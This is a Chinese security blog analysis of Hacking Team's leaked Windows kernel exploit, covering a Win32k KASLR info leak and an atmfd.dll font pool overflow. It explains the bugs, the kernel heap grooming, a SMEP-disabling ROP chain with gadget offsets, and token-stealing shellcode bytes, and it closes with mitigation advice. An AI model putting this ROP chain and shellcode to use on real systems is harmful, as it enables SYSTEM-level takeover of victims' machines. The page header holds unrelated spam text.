压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Hacking Team攻擊代碼分析:Win32k KALSR

7月12日,Twitter上安全研究人員@vlad902公布了Hacking Team的郵件(https://wikileaks.org/hackingteam/emails/emailid/974752)中可能的一處Windows權限提升漏洞,并將其攻擊代碼上傳到Github上(https://github.com/vlad902/hacking-team-windows-kernel-lpe)。

經(jīng)過我們的分析,該攻擊代碼中包含了兩個Windows內(nèi)核模式驅(qū)動的0day漏洞,其中一個是針對Windows內(nèi)核驅(qū)動Win32k.sys的一處安全特性(KASLR)的繞過漏洞,另一個是針對Adobe字體驅(qū)動(atmfd.dll)的一處內(nèi)核池溢出引發(fā)的內(nèi)核代碼執(zhí)行漏洞。

經(jīng)過我們的分析,該攻擊代碼中包含了兩個Windows內(nèi)核模式驅(qū)動的0day漏洞,其中一個是針對Windows內(nèi)核驅(qū)動Win32k.sys的一處安全特性(KASLR)的繞過漏洞,另一個是針對Adobe字體驅(qū)動(atmfd.dll)的一處內(nèi)核池溢出引發(fā)的內(nèi)核代碼執(zhí)行漏洞。

漏洞原理分析:

通過簡單瀏覽攻擊代碼,我們知道攻擊代碼運用了一處Win32k.sys中的KASLR繞過漏洞獲得Win32k的基地,并組織ROP鏈,同時,加載一個字體文件(font-data.bin)來利用字體驅(qū)動漏洞,觸發(fā)ROP鏈,最終完成攻擊。

Win32k.sys KASLR繞過漏洞

在Windows8.1以上的系統(tǒng)上,微軟增強了針對KALSR的緩和能力,對于低完整性級別及以下的程序,禁止獲得系統(tǒng)內(nèi)核模塊的地址信息,來緩和內(nèi)核漏洞針對IE沙盒等安全機制的攻擊。 這里Hacking Team所使用的是一個win32k處理字體信息時的棧未初始化導致的信息泄露漏洞。

我們結(jié)合源代碼的win32k_infoleak()函數(shù)中可以了解, win32k用于獲取文本字體信息的內(nèi)核調(diào)用NtGdiGetTextMetricsW->GreGetTextMetrics->bGetTextMetrics會針對DC對象返回一個內(nèi)部結(jié)構到存放tagTEXTMETRIC結(jié)構的輸出緩存中。

通過分析bGetTextMetrics的實現(xiàn)我們可以得知,該函數(shù)首先檢查字體對象中用于緩存tagTEXTMETRIC結(jié)構的一處指針是否為空,如果不為空,就直接使用這里保存的字體信息,這樣可以加快頻繁調(diào)用的GetTextMetricsW的性能。

如果緩存的結(jié)構為空,那么該函數(shù)會調(diào)用bIFIMetricsToTextMetricW來獲取字體信息,并且使用PALLOCMEM2分配一塊緩存結(jié)構內(nèi)存,保存到字體對象中,以供下次查詢加快速度。

這套邏輯在復制0x38偏移時,存在一處對齊引發(fā)的棧信息泄露問題,我們來看MSDN中對于tagTEXTMETRIC的定義(https://msdn.microsoft.com/en-us/library/aa911401.aspx),可以看到 0x38偏移就是這個數(shù)據(jù)結(jié)構的最后一個成員tmCharSet,它的類型是BYTE,長度1個字節(jié),而這里數(shù)據(jù)結(jié)構為了對齊,會補充7個字節(jié),以便實現(xiàn)8字節(jié)對齊(x86系統(tǒng)上補充3個字節(jié)),就是這個數(shù)據(jù)結(jié)構對齊問題引發(fā)了這里的信息泄露。

在bIFIMetricsToTextMetricW函數(shù)中,會使用外部bGetTextMetrics提供的??臻g來保存獲得的tagTEXTMETRIC結(jié)構,在存儲前,函數(shù)并沒有將棧中數(shù)據(jù)全部初始化,因此補齊的7個字節(jié)仍是其他函數(shù)遺留在??臻g中的,在后面復制到分配的用于緩存的堆內(nèi)存中時,也將這部分數(shù)據(jù)一起復制了過去。

這就導致之前在棧中存放的其它函數(shù)的信息,被存入緩存的tagTEXTMETRIC結(jié)構中, 下次程序再通過NtGdiGetTextMetricsW獲取時,就會獲取到這些信息,如果棧中的信息恰好是內(nèi)核地址信息,就會導致內(nèi)核模塊的信息泄露。

經(jīng)過調(diào)試發(fā)現(xiàn),目前最新補丁的Windows8.1 x64上,在首次調(diào)用并存儲緩存結(jié)構時,這里的棧位置恰好存儲了win32k!SetOrCreateRectRgnIndirectPublic+0x42函數(shù)的一處返回地址, 由于這里只有7個字節(jié)的地址信息,低8位會被修改為tmCharSet的數(shù)值(一般是0),因此最后通過NtGdiGetTextMetricsW獲取的,會是再往上一點的RGNOBJ::UpdateUserRgn這個函數(shù)結(jié)尾處的垃圾對齊空間的位置。

這個漏洞顯然遠不如之前我們提到的CNG.SYS的泄露漏洞好用:

首先,棧上的信息可能因為調(diào)用路徑或其他原因改變而不穩(wěn)定,經(jīng)過我們測試,這里的棧位置在某些調(diào)用路徑下,并不是返回地址,而是其他的垃圾數(shù)據(jù),這就會直接導致這個漏洞失效; 其次,Win32k的版本過多代碼變動復雜,這個RGNOBJ::UpdateUserRgn的位置隨時在變動,在低完整性級別下攻擊代碼還可以通過識別win32k.sys的版本做調(diào)整,在AppContainers(EPM)或Untrust級別下,就無法做到這點,只能硬猜,這也是為什么目前Github上的攻擊代碼不能在最新的全補丁Windows 8.1 x64上工作的原因:這個函數(shù)的位置發(fā)生了變動。

鑒于目前看到的這個攻擊代碼同上一個Hacking Team泄露的Windows內(nèi)核權限提升漏洞的已經(jīng)成熟“商用”的攻擊代碼不同,還只是出于演示目的的、存在很多硬編碼的示例代碼,因此很可能以后攻擊代碼的作者會使用更穩(wěn)定、更好用的地址泄露漏洞來替換這個漏洞。畢竟,微軟才剛剛意識到這類問題的嚴重性,內(nèi)核中還存在很多類似的漏洞和問題。

Adobe Font Driver(atmfd.dll)內(nèi)核池溢出漏洞

接下來我們來分析這個攻擊代碼中的重頭戲:字體漏洞, 我們可以看到,在攻擊代碼中使用了AddFontMemResourceEx函數(shù)來加載了font-data.bin這個OTF字體文件,我們嘗試在Windows 7系統(tǒng)上將這個文件改名為。otf文件(Explorer在渲染這個文件時也會加載它),系統(tǒng)立即藍屏崩潰,但是在Windows8.1 x64系統(tǒng)上,則不會出現(xiàn)這個情況,是不是Windows 8.1中已經(jīng)修補了這個漏洞?

我們再進一步驗證,在Windows7系統(tǒng)上藍屏崩潰時,我們看到藍屏的代碼是0x19 BAD_POOL_HEADER,看上去這似乎是一個Windows內(nèi)核池的溢出漏洞,那么是不是在Windows 8.1上這個漏洞所溢出的內(nèi)核池恰好沒有被用到而導致不容易觸發(fā)崩潰呢?

我們打開Driver Verifier工具,針對win32k.sys打開Speical Pool功能。關于驅(qū)動校驗器的這個功能,可以參考微軟MSDN的介紹:https://msdn.microsoft.com/en-us/library/windows/hardware/ff551832(v=vs.85)。aspx,這個功能類似用戶模式中的Page Heap功能,會將指定模塊分配的Windows內(nèi)核池放入特殊的內(nèi)存位置,使得這類內(nèi)核池的溢出在第一時間被發(fā)現(xiàn),開啟了這個功能后,我們?nèi)缭傅卦赪indows 8.1 x64上100%觸發(fā)這個漏洞的藍屏崩潰。

我們可以看到這個崩潰的棧(這里是在桌面瀏覽字體文件觸發(fā),因此是 NtGdiAddFontResourceW函數(shù))

atmfd

win32k!atmfdLoadFontFile

win32k!PDEVOBJ::LoadFontFile

win32k!vLoadFontFileView

win32k!PUBLIC_PFTOBJ::bLoadFonts

win32k!GreAddFontResourceWInternal

win32k!NtGdiAddFontResourceW

這里可以看得很清楚,這是在win32k.sys驅(qū)動加載這個字體文件,在PUBLIC_PFTOBJ::bLoadFonts函數(shù)中,win32k.sys會將字體映射到內(nèi)核中,進行一些字體對象的處理后,會調(diào)用這個字體對應的字體驅(qū)動,這里的這個adobe OTF字體最終就觸發(fā)了atmfdLoadFontFile這個函數(shù),這個函數(shù)atmfd.dll會輸出的加載字體接口的封裝,最后就進入atmfd.dll的代碼中執(zhí)行,實現(xiàn)最終的字體加載過程。

atmfd.dll是Adobe的代碼編譯的驅(qū)動,這里微軟并沒有給這個驅(qū)動提供符號文件,因此針對它的分析相對困難一些。我們通過分析代碼的執(zhí)行流程,結(jié)合內(nèi)核調(diào)試和字體分析工具(如T2F Analyzer),進一步深入分析atmfd.dll中的處理這個字體,最終觸發(fā)漏洞的過程(以Windows 8.1 x64上最新補丁的atmfd.dll為例):

通過win32k!atmfdLoadFontFile進入atmfd中的+0x13DE0位置函數(shù),我們稱其為AtmfdLoadFont,這里是atmfd.dll中的加載字體接口,會識別字體的格式類型,填充相關的字體結(jié)構,并交給下面的進一步加載字體的函數(shù)來處理

通過AtmfdLoadFont進入偏移+0x178F0的函數(shù),我們稱其為AtmfdLoadFontInternal,該函數(shù)進一步分析和處理字體的信息(如字體的文件時間),并通過EngMapFontFile等函數(shù)映射字體文件到內(nèi)核,映射完成后,這個函數(shù)判斷字體的類型為OTF,接著會進入一個專門處理OTF字體信息的函數(shù)中。

通過AtmfdLoadFontFileInternal進入偏移+0x17D55的位置,我們稱其為ProcessOTFFontInfo,該函數(shù)開始分析字體文件各個表的內(nèi)容,接著我們看到有一個專門處理’GPOS‘這個表的FeatureList中標記為”kern”(kerning,用于處理字距)的FeatureTag的FeatureRecord的相關函數(shù)。

進入這個專門處理”kern“的FeatureRecord的函數(shù),偏移+0x23128,我們稱其為ProcessKerningRecord。到了這個函數(shù)就進入了這里比較關鍵和復雜的細節(jié)。

這個函數(shù)會分析針對GPOS表的FeatureList,找到FreatureTag為”kern”的FeatureRecord,然后檢查其FeatureTable的Lookups,找到有效的Lookups后,該函數(shù)開始分析每個Lookups的LookupTable,每個Lookups可以有多個LookupTable,其中每個LookupTable又可以有多個SubTable,根據(jù)不同的SubTable的PosFormat,函數(shù)會進行不同的處理,其中針對SubTable的PosFormat = 2的情況,會進入一個專門處理這個Format的函數(shù)

5.剛才說到當PosFormat= 2 時會進入專門的處理SubTable函數(shù),這里偏移是0x22A9C,我們稱其為ProcessFormat2SubTable,這里也就是這個漏洞的本質(zhì)原因的地方了,在這個函數(shù)中,會根據(jù)SubTable的Class1Count和Class2Count計算需要的長度,計算的方式是0x20 * ClassXCount = 內(nèi)存長度,即0x20長度一個item,然后分配對應長度的內(nèi)存,接著偏移0x21d08的函數(shù)(我們稱其為CopyClassDefData)會調(diào)用將SubTable的ClassDef1和ClassDef2中的數(shù)據(jù)復制到這些內(nèi)存中,同時,在這些內(nèi)存的第一個item會復制到一個0x20字節(jié)的特殊數(shù)據(jù)。

這段邏輯的反編譯代碼如下:

Class1DefBuf = AllocMemory(32i64 * (unsigned int)Class1Count, v23, 1, 1);

if ( Class1DefBuf )

{

Class2DefBuf = AllocMemory(32i64 * Class2Count, v24, 1, 1);

if ( Class2DefBuf )

{

Class1DefSrc = *(_BYTE *)(SubTableObject + 9) | (unsigned __int16)(*(_WORD *)(SubTableObject + 8) 《 8);

LODWORD(v50) = Class1Count;

v55 = CopyClassDefData(

SubTableObject,

Class1DefSrc,

TableEnd,

GlyphsCount,

(__int64)v50,

(__int64)arg_40,

FirstBuf,

Class1DefBuf);

if ( v55 == 1 )

{

v55 = 0;

Class2DefSrc = *(_BYTE *)(SubTableObject + 11) | (unsigned __int16)(*(_WORD *)(SubTableObject + 10) 《 8);

v27 = Class2Count;

LODWORD(v50) = Class2Count;

v55 = CopyClassDefData(

SubTableObject,

Class2DefSrc,

TableEnd,

GlyphsCount,

(__int64)v50,

(__int64)arg_40,

FirstBuf,

Class2DefBuf);

其中,AllocateMemory(偏移0x28080)是對win32k.sys輸出的EngAllocMem的一個封裝,這也是為什么我們針對win32k.sys設置校驗器也可以抓到atmfd的內(nèi)核池溢出的原因: atmfd.dll最終的內(nèi)存分配也是靠win32k.sys(EngAllocMem)實現(xiàn)的。

這里封裝的AllocateMemory有一個特別的特性,也是造成這個漏洞可以觸發(fā)的原因之一:分配內(nèi)存的長度如果=0,這里并不會失敗,因為這個封裝中永遠會將分配的內(nèi)存長度+8,并將前面兩個DWORD,8個字節(jié)分別填充為:長度 , 和’ebdA’(Adobe的縮寫tag),將實際分配的內(nèi)存位置+8 ,再返回給調(diào)用者。

也就是說, 當這里的AllocateMemory邏輯中, Class1Count或Class2Count等于0 ,要求分配0字節(jié)長度的內(nèi)存時,這里并不會失?。ê瘮?shù)邏輯檢查了內(nèi)存分配失敗的情況),而是繼續(xù)執(zhí)行, 下面的CopyClassDefData函數(shù)實際獲得的是一個有效長度為0的緩存。 這里代碼編寫者沒有檢查或處理Class1Count為0的情況,同時,AllocateMemory又掩蓋了Class1Count為0的這個錯誤,讓函數(shù)繼續(xù)執(zhí)行下去,這里是代碼編寫者所犯的第一個錯誤。

即使分配了錯誤長度的內(nèi)存,如果后面的復制過程嚴格按照Class1Count來實現(xiàn),這里也不會存在問題,但是這里代碼編寫者接著犯了第二個錯誤,如剛才上面所說,CopyClassDefData函數(shù)會給第一個ClassBuf的item復制一個item大?。?x20)的特殊數(shù)據(jù)。這里CopyClassDefData并沒有檢查Class1Count是否為0,就直接將數(shù)據(jù)復制到目標內(nèi)存的第一個item的位置上,由于復制的大小超過了分配的大小,就自然造成了堆溢出,覆蓋到內(nèi)核池后面的數(shù)據(jù)。

我們使用T2F Analyzer可以看到這個漏洞字體的異常數(shù)據(jù)結(jié)構,首先使用T2F Analyzer打開存在漏洞的字體文件。

需要注意的是,T2F Analyzer在解析字體的過程后期還是會使用AddFontResouceExA來加載字體到內(nèi)核,導致直接使用這個工具在沒補丁的系統(tǒng)上打開漏洞字體文件會崩潰,這里簡單使用調(diào)試器斷下AddFontResourceExA,阻止加載字體文件就可以繼續(xù)使用它的解析功能了。

首先,我們打開這個字體文件,找到Advanced Typography Tables->GPOS Table,打開FeatureList,可以看到FeatureTag是”kern”的FeatureRecord,這個FeatureRecord的LookupCount = 1 ,它的LookupIndex = 1

我們打開LookupList,查看這個Index = 1的Lookup:

正如我們前面推測的,這里的Class1Count就是=0 , 也就是觸發(fā)這個漏洞的根本原因。

漏洞利用

介紹了Adobe Font Driver的這個內(nèi)核池溢出漏洞,接下來我們就看看攻擊代碼是如何利用這個漏洞,最終實現(xiàn)內(nèi)核代碼執(zhí)行,提升權限的。

在攻擊代碼中,作者利用了內(nèi)核的堆風水技術,來確保這個內(nèi)核池溢出最終覆蓋到我們指定的對象。

首先,攻擊代碼中會分配大量的(5000個)Accelerator Table對象。這樣做使其后面對象的在一段連續(xù)的內(nèi)存。在Windows8 x64上,Accelerator Table對象的大小為0x28。 然后,攻擊代碼在剛才分配出來的Accelerator Table對象的中間靠后位置(3600-4600)進行釋放。

在釋放了這些Accelerator Table之后,會使用CreateDCompositionHwndTarget創(chuàng)建CHwndTargetProp對象。

CHwndTargetProp對象及其對應的分配、釋放函數(shù)CreateDCompositionHwndTarget/DestroyDCompositionHwndTarget是微軟從Windows8開始引入的一套針對窗口的”構圖“對象管理函數(shù),是Windows8以來微軟新的UI系統(tǒng)的一部分,僅提供給一些內(nèi)部的函數(shù)使用,我們在創(chuàng)建這些對象時,還需要創(chuàng)建對應的窗口對象。

作者精心選擇CHwndTargetProp對象的原因是,它和Accelerator Table對象的大小一樣,都是0x28字節(jié),這樣正好就將剛才釋放的Accelerator Table的內(nèi)存給占住。

接著,攻擊代碼再從剛才分配CHwndTargetProp對象的中間位置,釋放指定個數(shù),這樣在Accelerator Table區(qū)域中 的CHwndTargetProp區(qū)域里, 再次制造內(nèi)存空洞。

在加載字體的過程中, 分配小內(nèi)存的ClassDefBuf時,就落入設置好的空洞中,接著內(nèi)核池溢出,就會覆蓋后面CHwndTargetProp的數(shù)據(jù)內(nèi)容。

整個內(nèi)核池的布局操控過程如下圖所示:

由于Windows8以后微軟已經(jīng)移除了很多Win32k中的結(jié)構信息,因此CHwndTargetProp的數(shù)據(jù)結(jié)構只能通過猜測來分析,我們使用內(nèi)核調(diào)試器分析一個CHwndTargetProp對象:

kd> dps fffff901443cdf40

fffff901`443cdf40 fffff960`00526d00 win32k!CHwndTargetProp::`vftable’

fffff901`443cdf48 fffff901`4082d9b0

fffff901`443cdf50 00000000`00000000

fffff901`443cdf58 ffffe001`2ed25d60

fffff901`443cdf60 00000000`00000000

fffff901`443cdf68 00000000`00000001

可以看到開頭是一個虛表的地址,我們查看這個虛表的成員如下:

kd> dps fffff960`00526d00

fffff960`00526d00 fffff960`0031f470 win32k!CHwndTargetProp::Delete

fffff960`00526d08 fffff960`003b1378 win32k!CHwndTargetProp::GetAtom

fffff960`00526d10 48273f8a`8c7ed206

fffff960`00526d18 6cfcae1f`9eaeabb3

前面我們說到,加載字體過程中賦值內(nèi)存可以覆蓋后面的對象,因為我們已經(jīng)經(jīng)過了精心的堆布局,因此我們可以就可以覆蓋特定的CHwndTargetProp的虛表,來實現(xiàn)將其虛表成員函數(shù)替換為我們想要執(zhí)行的函數(shù)。 這里字體中覆蓋的數(shù)據(jù)內(nèi)容為固定的0x0000000042005000,那么通過在這個固定的內(nèi)存位置構架假的虛表,我們就可以獲得執(zhí)行權限 我們可以看到,在攻擊代碼中,在固定位置(PAYLOAD_BASE)分配內(nèi)存,并構建假的虛表的過程:

#define PAYLOAD_BASE 0x42000000

*(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <– RAX [win32k!CHwndTargetProp::Delete]

*(ULONGLONG*)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <– this is where (1st) CALL jumps to. [win32k!CHwndTargetProp::GetAtom]

當CHwndTargetProp的虛表被覆蓋后,攻擊代碼再調(diào)用DestroyDCompositionHwndTarget函數(shù)來釋放CHwndTargetProp,此時最終調(diào)用到內(nèi)核中,就會跳轉(zhuǎn)到攻擊代碼已經(jīng)設置好的虛表函數(shù)。

整個過程中,會先調(diào)用win32k!CHwndTargetProp::GetAtom然后再調(diào)用win32k!CHwndTargetProp::Delete。

總共過程中會有3次調(diào)用到CHwndTargetProp的虛表函數(shù):

DestroyDCompositionHwndTarget過程:

第一次: win32k!CHwndTargetProp::GetAtom

第二次: win32k!CHwndTargetProp::Delete

DeatoryWindow過程:

第三次:win32k!CHwndTargetProp::Delete

為了繞過Windows8 系統(tǒng)的SMEP保護,這里虛表函數(shù)不能使用位于ring3的ShellCode,因此需要使用win32k.sys中的代碼片段構建ROP,關閉SMEP, 這也就是為什么攻擊代碼中需要利用我們一開始說的win32k.sys的KASLR繞過漏洞: 為了構建這里所需要的ROP鏈。 整個構建ROP鏈的過程如下:

第一步:獲取ntoskrnl的函數(shù)地址,這里是通過泄露的win32k.sys的地址,硬編碼得到win32k.sys中對ntoskrnl!ExAllocatePoolWithTag的導入表的地址,然后操作ROP鏈讀取函數(shù)地址:

*(ULONGLONG*)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab;?? // pop rax # ret? (RAX is source for our write)

*(ULONGLONG*)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220;? // pop into rax?? (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)

*(ULONGLONG*)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156;?? // pop rcx # ret? (RCX is destination for our write)

*(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100;???????? // pop into rcx?? (memory to write leaked address)

*(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f;?? // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])

第二步:因為后面的流程還會調(diào)到虛表,必須先修復棧,讓第二次調(diào)用函數(shù)正常返回。

*(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db;??? // pop rbx # ret

*(ULONGLONG*)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100;??????? // this will clobber the existing vTable object pointer (RBX) ———————

//??????????????????????????????????????????????????????????????????????????????? |

// Setup the new fake vTable at 0x42005100. We don’t do anything interesting??????????????????????????????????????????????????????????????????????????? |

// with the second call. We just want it to return nicely.????????????????????????????????????????????????????????????????????????????????????????????? |

*(ULONGLONG*)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110;??????? // double-dereference to get to gadget????????????????????????? (actual ROP chain |

*(ULONGLONG*)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110;??????? // (arbitrary pointer to pointer)???????????????????????????????? continues here) |

*(ULONGLONG*)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314;?? // (`RET` gadget)???????????????????????????????????????????????????????????????? |

//??????????????????????????????????????????????????????????????????????????????? |

// Resume execution. Restore original stack pointer.??????????????????????????????????????????????????????????????????????????????????????????????????? |

*(ULONGLONG*)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e;?? // mov rax, r11 # ret (register holding a value close to original stack pointer) <-

*(ULONGLONG*)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156;?? // pop rcx # ret

*(ULONGLONG*)(PAYLOAD_BASE + 0x5058) = 0x8;????????????????????????? // pop into rcx

*(ULONGLONG*)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f;?? // add rax, rcx # ret (adjust the stack pointer)

*(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1;?? // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret

第三步,根據(jù)ntoskrnl!ExAllocatePoolWithTag的地址硬編碼計算出ntoskrnl.exe的基址

ExAllocatePoolWithTag_offset = 0x2a3a50;

nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) – ExAllocatePoolWithTag_offset;

第四步,找到ntoskrnl的基址,是為了利用其中操作cr4 SMEP位的代碼,關閉SMEP,所以這步就是構建ROP鏈,關閉SMEP,這里的rop鏈是通過DestroyWindow觸發(fā)的

*(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a;? // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret

*(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141;?????????????????? // filler

*(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab;?? // pop rax # ret

*(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = 0x406f8;????????????????????? // pop into rax, cr4 value

*(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc;????? // mov cr4, rax # add rsp, 0x28 # ret? (SMEP disabling gadget)

*(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141;?????????????????? // filler

*(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141;?????????????????? // filler

第五步,這里SMEP已經(jīng)關閉,直接跳轉(zhuǎn)到用戶模式的ShellCode,并且真的去刪除CHwndTargetProp對象

*(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE;???????????????? // return to userland and win!

*(ULONGLONG*)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010;? // CHwndTargetProp::Delete(void)

第六步,最后執(zhí)行用戶模式ShellCode,這里就簡單了,攻擊代碼中的ShellCode是一個簡單的替換本進程token為winlogon的System Token的代碼:

char sc[] = {

‘\x4D’, ‘\x8B’, ‘\xBB’, ‘\x68′, ‘\x01′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov r15, [r11+0x168], save return address of kernel stack

‘\x41′, ‘\x51′,????????????????????????????????????????????????????????????????????????? // push r9 save regs

‘\x41′, ‘\x52′,????????????????????????????????????????????????????????????????????????? // push r10

‘\x65′, ‘\x4C’, ‘\x8B’, ‘\x0C’, ‘\x25′, ‘\x88′, ‘\x01′, ‘\x00′, ‘\x00′,????????????????? // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)

‘\x4D’, ‘\x8B’, ‘\x89′, ‘\xB8′, ‘\x00′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD

‘\x4D’, ‘\x89′, ‘\xCA’,????????????????????????????????????????????????????????????????? // mov r10, r9 save current eprocess

‘\x4D’, ‘\x8B’, ‘\x89′, ‘\x40′, ‘\x02′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov r9, [r9+0x240] $a, get blink

‘\x49′, ‘\x81′, ‘\xE9′, ‘\x38′, ‘\x02′, ‘\x00′, ‘\x00′,????????????????????????????????? // sub r9, 0x238 => _KPROCESS

‘\x41′, ‘\x81′, ‘\xB9′, ‘\x38′, ‘\x04′, ‘\x00′, ‘\x00′, ‘\x77′, ‘\x69′, ‘\x6E’, ‘\x6C’,? // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with ‘winl’ (winlogon)

‘\x75′, ‘\xe5′,????????????????????????????????????????????????????????????????????????? // jnz $a no? then keep searching!

‘\x4D’, ‘\x8B’, ‘\xA1′, ‘\xE0′, ‘\x02′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov r12, [r9+0x2e0] get pid

‘\x48′, ‘\xC7′, ‘\xC0′, ‘\x00′, ‘\x10′, ‘\x00′, ‘\x42′,????????????????????????????????? // mov rax, 0x42001000

‘\x4C’, ‘\x89′, ‘\x20′,????????????????????????????????????????????????????????????????? // mov [rax], r12 save pid for use later

‘\x4D’, ‘\x8B’, ‘\x89′, ‘\x48′, ‘\x03′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov r9, [r9+0x348] get token

‘\x49′, ‘\x83′, ‘\xE1′, ‘\xF0′,???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? // and r9, 0xfffffffffffffff0 get SYSTEM token’s address

‘\x49′, ‘\x83′, ‘\x41′, ‘\xD0′, ‘\x0A’,???????????????????????????????????????????????????????????????????????????????????????????????? // add [r9-0x30], 0x10 increment SYSTEM token’s reference count by 0x10

‘\x4D’, ‘\x89′, ‘\x8A’, ‘\x48′, ‘\x03′, ‘\x00′, ‘\x00′,????????????????????????????????? // mov [r10+0x348], r9 replace our token with system token

‘\x41′, ‘\x5A’,????????????????????????????????????????????????????????????????????????? // pop r10 restore regs

‘\x41′, ‘\x59′,????????????????????????????????????????????????????????????????????????? // pop r9

‘\x41′, ‘\x53′,????????????????????????????????????????????????????????????????????????? // push r11, pointer near to original stack

‘\x5C’,????????????????????????????????????????????????????????????????????????????????? // pop rsp

‘\x48′, ‘\x81′, ‘\xC4′, ‘\x68′, ‘\x01′, ‘\x00′, ‘\x00′,????????????????????????????????? // add rsp, 0x168, restore original kernel rsp

‘\x4C’, ‘\x89′, ‘\x3C’, ‘\x24′,????????????????????????????????????????????????????????? // mov [rsp], r15, restore original return address

‘\xFF’, ‘\x24′, ‘\x25′, ‘\x70′, ‘\x50′, ‘\x00′, ‘\x42′,????????????????????????????????? // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)

0

};

漏洞緩解

近期atmfd字體漏洞泛濫,建議禁用atmfd.dll (直接將其改名即可)。對于Windows 10用戶,可以使用緩和策略阻止非信任字體加載,這個功能在今年1月我們介紹過(http://blogs.360.cn/blog/windows10_font_security_mitigations/),微軟5月將其文檔化:https://msdn.microsoft.com/en-us/library/dn985836%28v=vs.85%29.aspx

上一篇:Hacking Team攻擊代碼分析: Flash 0day漏洞

下一篇:如何破解勒索軟件